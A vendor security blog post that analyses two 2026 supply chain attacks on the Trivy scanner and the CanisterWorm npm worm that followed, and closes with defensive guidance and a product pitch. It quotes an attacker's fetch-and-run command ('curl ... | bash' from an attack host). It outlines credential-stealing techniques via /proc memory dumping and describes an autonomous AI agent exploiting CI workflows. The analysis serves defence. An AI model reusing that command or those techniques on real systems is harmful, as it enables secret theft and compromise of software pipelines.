Get the latest, first
arrowBlog
When Your Friend’s House Burns Down Twice: The Trivy Supply Chain Attacks Explained

When Your Friend’s House Burns Down Twice: The Trivy Supply Chain Attacks Explained

Mar 23, 2026

Ben Hirschberg
CTO & Co-founder

We’ve been going back and forth on whether to publish this post. As the maintainers of Kubescape, a fellow CNCF open-source security project, we feel the weight of what happened to Trivy not as distant observers, but as people who see their successes and failures as our own. The Trivy maintainers are our friends. We share the same CNCF community, attend the same KubeCon-s, and fight the same fights (and share the same flights 🙂). When their project was attacked twice, in less than a month, the wounds were fresh for all of us. We held off publishing out of respect for those open wounds.

But we can’t delay this any longer. The attacks on Trivy are too important, too instructive, and too relevant to every open-source project and every organization that depends on one. If you maintain an open-source project, contribute to one, or simply run trivy-action in your CI pipeline, you need to understand what happened here.

A note on structure: This is a deep technical write-up, with a short executive summary at the beginning. If you want to skip straight to the lessons learned and how CNCF and OpenSSF are helping open-source projects protect themselves, jump to “How Open-Source Projects Can Protect Themselves.” Otherwise, read on for the full breakdown.

Executive Summary

Between late February and late March 2026, Aqua Security’s Trivy — the most widely used open-source vulnerability scanner in the cloud-native ecosystem, with 32,000+ GitHub stars and over 100 million Docker Hub pulls — was hit by two successive supply chain attacks.

Attack 1 (February 27–28): An AI-powered autonomous agent called hackerbot-claw exploited a misconfigured pull_request_target GitHub Actions workflow to steal a privileged Personal Access Token (PAT). The attacker used the stolen token to delete all 178 GitHub releases, hijack the repository, and push a malicious VSCode extension. Aqua Security responded, but credential rotation was not atomic and the attacker retained access.

Attack 2 (March 19): A threat actor group called TeamPCP, leveraging credentials that survived the incomplete rotation, force-pushed 75 of 76 version tags on aquasecurity/trivy-action to malicious commits containing an encrypted credential stealer. They also published a backdoored Trivy binary (v0.69.4) to GitHub Releases, Docker Hub, GHCR, and ECR. Over 10,000 GitHub workflows reference trivy-action. The stolen credentials then seeded CanisterWorm, a self-propagating worm that infected 47 npm packages using blockchain-based C2 infrastructure.

The attackers’ primary goal was massive credential theft, targeting CI/CD secrets, cloud keys (AWS, GCP, Azure), npm tokens, SSH keys, and cryptocurrency wallets from developer machines and pipelines. This was a snowballing operation: compromise a trusted tool, steal secrets, use those to compromise more tools/packages, and repeat (as seen with CanisterWorm). While cryptocurrency targets suggest financial motivation, the breadth of credentials indicates the group was building a large-scale access portfolio for future exploitation or resale.

The fundamental lesson: a security scanner trusted by thousands of CI/CD pipelines became the attack vector precisely because of that trust. This could have been any of us.

The Backstory: tj-actions Set the Stage

To understand the Trivy attacks, you need to understand what happened exactly one year earlier.

In March 2025, the tj-actions/changed-files GitHub Action, used by over 23,000 repositories, was compromised via a cascading supply chain attack that traced back to a stolen PAT in SpotBugs. The attacker force-pushed all version tags to a malicious commit that dumped CI/CD secrets into public workflow logs. CISA published an alert. The community scrambled. Lessons were supposedly learned.

The core vulnerability pattern in that attack (mutable GitHub Actions tags, pull_request_target misconfigurations, and /proc/<pid>/mem memory dumping to bypass secret masking) would reappear in the Trivy attacks almost identically.

Attack 1: An AI Bot Steals the Keys (February 27-28, 2026)

The Attacker

An autonomous AI agent calling itself hackerbot-claw created its GitHub account on February 20, 2026 and began systematically scanning repositories for exploitable GitHub Actions workflows. Its profile described a vulnerability pattern index covering 9 classes and 47 sub-patterns. This wasn’t a human with a keyboard. This was an automated system that could read workflow YAML files, identify misconfigurations, craft convincing pull requests, and exfiltrate secrets, all autonomously.

What Happened

The attack targeted a pull_request_target workflow in Trivy’s repository called “API Diff Check” (apidiff.yaml). This is a known-dangerous pattern: when a workflow uses pull_request_target, it runs with the base repository’s secrets and permissions, but can be tricked into checking out and executing code from a fork’s pull request.

The bot opened PR #10254 with a legitimate-sounding branch name and modified the GitHub Actions setup to inject a payload. The workflow ran curl -sSfL https://hackmoltrepeat.com/molt | bash, visible directly in the build output. The payload used /proc/<pid>/mem memory dumping to extract the aqua-bot service account’s Personal Access Token, a token with repo scope across the entire aquasecurity GitHub organization.

Within 19 minutes of exploitation, commit d267cc4 was pushed directly to the trivy repository using the stolen PAT.

The Damage

The attacker used the stolen PAT to:

  • Delete all 178 GitHub Releases (v0.27.0-v0.69.1) including every binary asset
  • Rename the repository to aquasecurity/private-trivy and push an empty replacement, stripping all 32,000+ stars
  • Push a malicious VSCode extension (versions 1.8.12 and 1.8.13) to the Open VSX marketplace that spawned AI coding assistants in permissive modes to hunt for credentials

Trivy was just one of 7 repositories targeted. The campaign also hit avelino/awesome-go (140k+ stars), a CNCF project (project-akri), and Microsoft and DataDog repositories. Five out of seven targets were compromised.

The Incomplete Fix

Aqua Security responded quickly: they removed the vulnerable workflow, restored the repository, published a clean v0.69.2, and rotated the ORG_REPO_TOKEN. But here’s where it went wrong. As Aqua Security later acknowledged, the credential rotation was not atomic, and the attackers may have observed the refreshed tokens during the rotation process.

This incomplete containment would prove catastrophic.

Attack 2: TeamPCP Poisons the Well (March 19, 2026)

Twenty days after the first attack, a far more sophisticated strike hit, and this time, it didn’t just affect the Trivy repository. It poisoned the supply chain that thousands of organizations depend on.

The Attacker

The threat actor group TeamPCP (also tracked as DeadCatx3, PCPcat, PersyPCP) is a documented cloud-native threat actor previously profiled for exploiting misconfigured Docker APIs, Kubernetes clusters, and Redis servers. The malware they deployed contained a self-identification comment: ## TeamPCP Cloud stealer.

This was a direct continuation of the first attack. TeamPCP retained access to credentials that survived Aqua Security’s incomplete rotation from the February incident.

The Timeline

On March 19, 2026, starting at 17:43 UTC:

  1. 17:43: The attacker pushed tag v0.69.4 pointing to a poisoned commit on aquasecurity/trivy. The commit was forged to appear as if it came from a real Trivy maintainer (DmitriyLewen).
  1. ~18:25: The automated release pipeline built and published backdoored binaries to GitHub Releases, Docker Hub, GHCR, and ECR.
  1. ~18:30: The attacker force-pushed 75 of 76 version tags on aquasecurity/trivy-action to malicious commits containing an encrypted credential stealer. This was the most devastating part: any GitHub Actions workflow referencing a tag like aquasecurity/[email protected] would silently resolve to the malicious code without any change in the workflow file itself.
  1. ~19:15: The community began detecting the compromise.
  1. 23:13: Trivy maintainer knqyf263 deleted the malicious v0.69.4 tag.

The exposure window: malicious binaries were live for roughly 3 hours. Compromised GitHub Actions tags remained active for up to 12 hours.

How the Tag Poisoning Worked

This is worth understanding in detail because it’s the same class of attack that hit tj-actions, and it exploits a fundamental weakness in how the GitHub Actions ecosystem works.

The attacker started from the master HEAD tree, swapped entrypoint.sh with the infostealer payload, then for each of the 75 tags, cloned the original commit’s metadata (author name, email, committer, timestamps, even the PR number in the commit message) and force-pushed the tag to the new malicious commit.

The result: git history looked normal at a glance. The commit messages referenced real PRs. The author names matched real maintainers. But every tag now pointed to code that would steal your secrets.

Tag force-pushes are invisible to GitHub Archive event data: they don’t generate CreateEvent or DeleteEvent. This is a fundamental blind spot for event-based monitoring.

What the Malware Did

The malicious entrypoint.sh was 204 lines long: lines 4-105 were the injected infostealer; lines 106-204 were the legitimate Trivy scanning code. The malware ran first, then the expected scan continued, making the workflow appear to complete normally.

In CI/CD environments, the stealer:

  • Located GitHub Actions runner processes and read /proc/<pid>/environ for plaintext environment variables
  • Dumped /proc/<pid>/mem searching for GitHub’s internal secret storage format, bypassing GitHub’s log masking entirely
  • Encrypted everything with AES-256-CBC wrapped in RSA-4096
  • Exfiltrated to scan.aquasecurtiy[.]org (note the typosquat: “securtiy” instead of “security”)
  • As a fallback, if primary C2 was unreachable and a GitHub PAT was available, created a public repository named tpcp-docs on the victim’s own GitHub account and uploaded the stolen data as a release asset

On developer machines (self-hosted runners), the stealer was even more aggressive, harvesting SSH keys, AWS/GCP/Azure credentials, Kubernetes service account tokens, Docker registry credentials, database passwords, Terraform state, cryptocurrency wallets, and npm tokens. It also installed a persistent backdoor as a systemd service that polled an Internet Computer Protocol (ICP) canister for further instructions.

Counter-Incident-Response

TeamPCP didn’t just attack. They actively tried to slow down the community’s response:

  • The compromised aqua-bot account deleted Discussion #10265, the original incident disclosure thread that had become the active coordination point for the community’s response.
  • On the replacement Discussion #10420, 47 bot accounts posted generic praise comments within a 12-second window, drowning real technical discussion in noise.
  • Two accounts posted taunting messages identifying TeamPCP.

This wasn’t just a smash-and-grab. This was an adversary who understood incident response workflows and deliberately sabotaged them.

The Forensic Tells

Despite the sophistication, several indicators revealed the compromise:

  • Each malicious commit claimed timestamps from the original release year (2021, 2022) but had a parent commit dated March 2026, a temporal impossibility.
  • Original commits were GPG-signed through GitHub’s merge process; the attacker’s replacement commits were unsigned.
  • Each malicious commit modified only entrypoint.sh, whereas the originals touched multiple files.
  • GitHub release pages showed “0 commits to master since this release” for old tags, which should have shown hundreds.

The Cascade: CanisterWorm Spreads to 47 npm Packages

The damage didn’t stop at Trivy. Within 24 hours, TeamPCP deployed CanisterWorm, a self-propagating worm that used stolen npm tokens from the Trivy credential stealer to infect 47 npm packages across multiple scopes.

The worm represented the first publicly documented abuse of an ICP canister (Internet Computer Protocol, tamperproof smart contracts) for command-and-control dead drop resolution. The attacker could arm and disarm the worm by swapping a URL in the canister. At the time of analysis, it pointed to a Rickroll YouTube video (dormant state), but could be changed to a live payload at any time.

The self-propagating variant automatically harvested npm tokens during package installation and spawned the worm as a detached background process. Every developer or CI pipeline that installed an affected package and had an npm token accessible became an unwitting propagation vector.

The infected packages included 28 packages in the @EmilGroup scope, 16 in @opengov, and several others. The worm was assessed to have been created using an AI tool and made no attempt to conceal its functionality.

What Aqua Security Said

We want to be clear: Aqua Security was transparent about what happened. Aqua published security advisory GHSA-69fq-xp46-6×23, confirming the second incident was a continuation of the first and acknowledging that credential rotation had not been atomic.

Aqua stated they are now taking a more restrictive approach, locking down all automated actions and tokens. Their guidance to users was direct: if you suspect you ran a compromised version, treat all pipeline secrets as compromised and rotate immediately.

We respect how Aqua handled the disclosure. Being transparent about a security failure in your own product is hard. It takes courage, and the community is better for it.

Are You Affected?

If you use Trivy in your CI/CD pipelines, you need to check:

ComponentCompromised VersionsSafe Version
trivy binaryv0.69.4, v0.69.5, v0.69.6v0.69.3 and earlier
aquasecurity/trivy-action75 of 76 tags (all except @0.35.0)@0.35.0 (commit 57a97c7e)
aquasecurity/setup-trivyv0.1.0-v0.2.5v0.2.6
Docker Hub images0.69.4, 0.69.5, 0.69.6Pre-0.69.4 images

If your CI/CD pipeline ran trivy-actionor setup-trivybetween ~17:00 and ~23:13 UTC on March 19, 2026, your pipeline secrets may have been exfiltrated. Rotate all CI/CD credentials, GitHub tokens, cloud provider keys, and registry credentials immediately.

Check for the exfiltration fallback: Search your GitHub organization for any repository named tpcp-docs, the attacker’s fallback exfiltration method created public repos with this name on victim accounts.

Check developer machines: If you use self-hosted runners, look for ~/.config/systemd/user/sysmon.py and /tmp/pglog, indicators of the persistence backdoor.

Key Indicators of Compromise

IndicatorContext
scan.aquasecurtiy[.]orgTyposquatted C2 domain (note: “securtiy”)
45.148.10.212C2 IP address
hackmoltrepeat.comPayload host (Attack 1)
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.ioICP canister C2 (persistence)
plug-tab-protective-relay.trycloudflare.comCloudflare Tunnel C2
tpcp.tar.gzExfiltration archive filename
~/.config/systemd/user/sysmon.pyPersistence backdoor path
Repositories named tpcp-docsFallback exfiltration indicator
Commit 1885610cPoisoned workflow commit on trivy
GPG Key ID E9D0A3616276FA6CCompromised signing key

How Open-Source Projects Can Protect Themselves

This is the part we care about most as a fellow open-source project. What happened to Trivy is not a Trivy problem. It’s a systemic problem with how open-source CI/CD infrastructure works today. Here are the five most critical takeaways.

1. Pin GitHub Actions to Full Commit SHAs, Not Mutable Tags

This is the single most important action you can take today. The entire second attack was possible because GitHub Actions tags are mutable: they can be force-pushed to point to different commits without any visible audit trail. If every workflow that referenced [email protected] had instead pinned to trivy-action@<full-sha>, the tag poisoning would have had zero impact.

# Vulnerable:

– uses: aquasecurity/[email protected]

# Safe:

– uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1

Dependabot and Renovate can automate SHA pinning and updates. There is no excuse not to do this.

2. Credential Rotation Must Be Atomic: Assume the Attacker Is Watching

The most painful lesson from the Trivy incidents: incomplete credential rotation is worse than no rotation, because it creates a false sense of security. If an attacker has access to a privileged token, they may be able to observe newly generated tokens during rotation.

The correct approach: revoke first, then reissue. Accept the downtime. If you rotate credentials while the old ones are still valid, or if the attacker can access the system that stores the new credentials, you haven’t actually contained the breach.

3. Never Use pull_request_target to Execute Untrusted Code with Secrets

The pull_request_target trigger is the single most dangerous feature in GitHub Actions for open-source repositories. It runs with the base repository’s secrets but can be made to execute code from a fork. This pattern enabled both the tj-actions attack chain and the Trivy compromise.

If you must use pull_request_target, never check out the PR head code in the same workflow that has access to secrets. Use the two-workflow pattern: one workflow triggered by pull_request_target that only writes metadata to an artifact, and a separate workflow triggered by workflow_run that reads the artifact and runs with secrets.

4. Treat Your Security Tools as Attack Surface, Not Trusted Infrastructure

This is the meta-lesson that hits closest to home for us. Trivy, like Kubescape, runs inside CI/CD pipelines with elevated trust. Security scanners see your code, your dependencies, your secrets, your infrastructure. If compromised, they become the perfect distribution mechanism for malware: they run everywhere, they run automatically, and people trust their output.

Apply the same supply chain scrutiny to your security tools that you apply to production dependencies. Pin versions. Verify signatures. Monitor for anomalous behavior. A security scanner is not inherently trustworthy just because it’s a security scanner.

5. Invest in Automated CI/CD Security Guardrails

Manual code review cannot defend against automated attacks. The hackerbot-claw agent operated continuously, testing different attack vectors across multiple repositories simultaneously. It adapted its techniques per target: branch name injection for one, filename injection for another, AI prompt injection for a third.

You need automated guardrails: network egress monitoring on runners, least-privilege permission blocks on all workflows, and automated scanning of workflow configurations for dangerous patterns.

What CNCF and OpenSSF Are Doing to Help

The CNCF and Linux Foundation ecosystem has been building the tools and frameworks to prevent these kinds of attacks. The bad news is that adoption hasn’t been fast enough.

OpenSSF Scorecard

The OpenSSF Scorecard is an automated security assessment tool that runs roughly 19 checks against GitHub repositories. Several of these checks would have caught the exact patterns that enabled the Trivy attacks:

  • “Dangerous Workflow” check: specifically detects the pull_request_target misconfiguration
  • “Pinned Dependencies” check: verifies GitHub Actions are pinned to commit SHAs, not mutable tags (user side)
  • “Token Permissions” check: checks for overly broad GITHUB_TOKEN scopes
  • “Branch Protection” check: verifies critical branches are protected against unauthorized changes

If Trivy had been running Scorecard checks (and acting on the results), the dangerous workflow would have been flagged and, ideally, remediated before hackerbot-claw ever found it.

CNCF TAG Security Reviews

CNCF TAG Security and Compliance facilitates collaborative security assessments for CNCF projects. These assessments cover architecture review, threat modeling, and security control evaluation. They’re designed as conversations, not audits, and they can identify systemic risks like overprivileged CI/CD tokens before attackers do.

SLSA (Supply-chain Levels for Software Artifacts)

The SLSA framework provides incrementally adoptable guidelines for supply chain integrity. At SLSA Level 3+, build processes cannot be influenced by user-defined inputs, which would have prevented the pull_request_target exploitation. The SLSA v1.2 Source Track, released in 2025, adds specific requirements for source integrity that directly address tag mutability.

Sigstore

The malicious commits in the Trivy attack were unsigned, while legitimate releases were GPG-signed through GitHub. Sigstore provides free, easy-to-use software signing and verification. If downstream consumers had been verifying signatures on trivy-action commits, the unsigned malicious commits would have been immediately detectable.

In-Toto and GUAC

in-toto (CNCF Graduated) creates verifiable records of the entire software development lifecycle. GUAC aggregates supply chain metadata into actionable insights. Together, they provide the kind of end-to-end supply chain visibility that would make attacks like this detectable in near-real-time.

The OSPS Baseline

The new Open Source Project Security (OSPS) Baseline, presented at KubeCon, provides eight control families and three maturity levels specifically designed to help open-source projects establish security fundamentals. It’s the kind of practical, graduated framework that projects at every stage can adopt.

How ARMO CADR Helps Detect the Blast Radius of Supply Chain Attacks Like This

The initial compromise of Trivy happened inside GitHub’s CI infrastructure, and no runtime security tool can retroactively prevent a poisoned tag from being pushed. But the initial compromise is only the beginning of the story. The real damage happens downstream: when stolen credentials are used to infiltrate your clusters, when poisoned images land in your production environments, when compromised npm packages execute in your workloads, and when exfiltrated cloud keys are abused from the other side of the world. That downstream blast radius is exactly where ARMO CADR operates.

Detecting poisoned supply chain artifacts at runtime. When a trusted image like Trivy suddenly behaves differently after an update, most security tools see nothing wrong: the image name is right, the tag looks normal, the scan completes as expected. ARMO CADR profiles the expected runtime behavior of each workload across versions. When Trivy v0.69.4 starts making outbound connections to scan.aquasecurtiy[.]org, reading /proc/*/mem on neighboring processes, or dropping a Python backdoor into ~/.config/systemd/, CADR flags the behavioral deviation immediately. Same image name, same tag, completely different runtime fingerprint. This is how you catch supply chain compromises that pass every static check.

Catching credential harvesting before it becomes a cascading breach. The Trivy attack didn’t end with Trivy. Stolen npm tokens seeded CanisterWorm across 47 packages. Stolen cloud keys could enable lateral movement into production infrastructure. CADR’s credential harvesting detection identifies the systematic access to secrets, service account tokens, cloud provider credentials, and registry tokens that characterize this class of attack. Detecting the harvesting early is what breaks the chain and prevents a CI compromise from cascading into a full-blown infrastructure breach.

Correlating cloud identity abuse from stolen credentials. When attackers use exfiltrated AWS keys, GCP service accounts, or Azure credentials from unexpected locations, CADR’s cloud identity correlation connects the anomalous cloud API activity back to the workload identity it was stolen from. This closes the gap between “credentials were exfiltrated from a CI pipeline” and “someone is using those credentials to access our S3 buckets from an IP in Amsterdam.” Without that correlation, these look like two unrelated events. With CADR, they’re a single attack story.

Final Thoughts

We didn’t write this post to point fingers at Aqua Security. We wrote it because what happened to Trivy is a wake-up call for every open-source project, including ours.

The attack chain was elegant in its simplicity: exploit a known misconfiguration, steal a credential, and then leverage the trust that the community places in a widely-used tool to distribute malware at scale. The first attack used an AI agent to find and exploit the vulnerability. The second attack exploited the incomplete remediation of the first. The third wave turned stolen credentials into a self-propagating worm. Each stage amplified the blast radius of the one before it.

As fellow open-source maintainers, we’re using this incident as an opportunity to audit our own CI/CD configurations, review our credential management practices, and increase our adoption of OpenSSF and CNCF security tooling. We encourage every open-source project to do the same.

The tools to prevent these attacks exist. The frameworks are mature. The question is whether we, as a community, will invest the time and effort to adopt them before the next AI-powered bot comes scanning.

Close

Your Cloud Security Advantage Starts Here

Webinars
Data Sheets
Surveys and more
Group 1410190284
Ben Hirschberg CTO & Co-Founder
Rotem_sec_exp_200
Rotem Refael VP R&D
Group 1410191140
Amit Schendel Security researcher
slack_logos Continue to Slack

Get the information you need directly from our experts!

new-messageContinue as a guest